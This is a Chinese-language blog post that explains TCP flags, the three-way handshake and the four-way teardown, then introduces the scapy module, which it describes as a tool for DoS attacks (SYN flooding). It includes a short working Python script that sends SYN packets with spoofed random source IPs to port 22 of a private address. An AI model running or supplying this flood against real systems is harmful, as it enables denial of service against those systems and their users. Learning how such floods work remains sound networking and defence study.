zoukankan      html  css  js  c++  java
  • 33.TCP协议概念/scapy模块doos攻击

    TCP协议概念/scapy模块:


     

    1,TCP/IP四层协议:

    2,TCP数据包的构成:

    • TCP FLAGS:TCP数据包标志位
    1. U:URG,紧急比特
    2. A:ACK,确认比特
    3. P:PSH,推送比特
    4. S:SYN,同步比特:这个是一个连接请求的数据包,代表着我要主动连接对方
    5. F:FIN,终止比特:当我要和对方断开连接
    6. R:RST,复位比特:代表重新建立连接

    3,tcp三次握手:

    4,四次挥手:

     

    5,scapy模块

    • 作用是用来doos攻击,SYN泛洪
    • scapy模块
    1. 构建TCP数据包
    • 安装scapy
    1. pip3 install scapy
    from random import randint
    from scapy.all import *
    for var in range(20):
    	random_ip = '%s.%s.%s.%s' % (randint(1,255),randint(1,255),randint(1,255),randint(1,255))
    	random_port = 23333
    	data = IP(dst='192.168.137.130',src=random_ip) / TCP(dport=22,sport=random_port,flags='S') #SYN TCP数据包
    	send(data) #发送  

    运行结果:  

     

  • 相关阅读:
    Docker build Dockerfile 构建镜像
    Docker 容器启动 查看容器状态
    Docker 获取镜像
    Docker 容器状态查看
    windows 检测进程pid
    bzoj 1083 最小生成树
    bzoj 2039 最小割模型
    bzoj 2749 杂题
    bzoj 2748 DP
    bzoj 3190 维护栈
  • 原文地址:https://www.cnblogs.com/zhangan/p/10127840.html
Copyright © 2011-2022 走看看